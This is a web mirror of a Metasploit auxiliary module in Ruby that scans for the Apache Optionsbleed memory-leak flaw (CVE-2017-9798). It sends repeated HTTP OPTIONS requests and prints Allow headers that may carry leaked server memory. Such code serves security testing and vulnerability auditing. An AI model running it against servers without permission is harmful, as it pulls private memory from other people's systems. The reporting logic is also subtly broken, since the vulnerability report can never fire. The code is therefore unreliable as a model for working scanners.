CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/http/apache_optionsbleed.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Scanner
9
include Msf::Auxiliary::Report
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Apache Optionsbleed Scanner',
14
'Description' => %q{
15
This module scans for the Apache optionsbleed vulnerability where the Allow
16
response header returned from an OPTIONS request may bleed memory if the
17
server has a .htaccess file with an invalid Limit method defined.
18
},
19
'Author' => [
20
'Hanno Böck', # Vulnerability discovery
21
'h00die', # Metasploit module
22
],
23
'References' => [
24
[ 'CVE', '2017-9798' ],
25
[ 'EDB', '42745' ],
26
[ 'URL', 'https://github.com/hannob/optionsbleed' ],
27
[ 'URL', 'https://blog.fuzzing-project.org/60-Optionsbleed-HTTP-OPTIONS-method-can-leak-Apaches-server-memory.html' ]
28
],
29
'DisclosureDate' => '2017-09-18',
30
'License' => MSF_LICENSE,
31
'Notes' =>
32
{
33
'AKA' => ['Optionsbleed']
34
}
35
))
36
37
register_options([
38
OptString.new('TARGETURI', [true, 'The URI to the folder with the vulnerable .htaccess file', '/']),
39
OptInt.new('REPEAT', [true, 'Times to attempt', 40]),
40
OptBool.new('BUGS', [true, 'Print if any other Allow header bugs are found', true])
41
])
42
end
43
44
def get_allow_header(ip)
45
res = send_request_raw({
46
'version' => '1.1',
47
'method' => 'OPTIONS',
48
'uri' => datastore['TARGETURI']
49
}, 10)
50
51
fail_with(Failure::Unreachable, "#{peer} - Failed to respond") unless res
52
fail_with(Failure::UnexpectedReply, "#{peer} - No Allow header identified") unless res.headers['Allow']
53
res.headers['Allow']
54
end
55
56
def run_host(ip)
57
# Apache bug 61207 regex
58
bug_61207 = /^[a-zA-Z]+(-[a-zA-Z]+)? *(, *[a-zA-Z]+(-[a-zA-Z]+)? *)*$/
59
# Launchpad bug 1717682 regex
60
bug_1717682 = /^[a-zA-Z]+(-[a-zA-Z]+)? *( +[a-zA-Z]+(-[a-zA-Z]+)? *)+$/
61
uniques = []
62
already_reported = false
63
64
for counter in 1..datastore['REPEAT']
65
allows = get_allow_header(ip)
66
next if uniques.include?(allows) # no need to re-process non-new items
67
uniques << allows
68
if allows =~ bug_61207
69
if allows.split(',').length > allows.split(',').uniq.length # check for repeat items
70
print_status('Some methods were sent multiple times in the list. ' +
71
'This is a bug, but harmless. It may be Apache bug #61207.') if datastore['BUGS']
72
else
73
vprint_status("Request #{counter}: [Standard Response] -> #{allows}")
74
end
75
elsif allows =~ bug_1717682 && datastore['BUGS']
76
print_status('The list of methods was space-separated instead of comma-separated. ' +
77
'This is a bug, but harmless. It may be Launchpad bug #1717682.')
78
else
79
print_good("Request #{counter}: [OptionsBleed Response] -> #{allows}")
80
end
81
next unless already_reported
82
report_vuln(
83
:host => ip,
84
:port => rport,
85
:name => self.name,
86
:refs => self.references
87
)
88
already_reported = true
89
end
90
end
91
end
92
93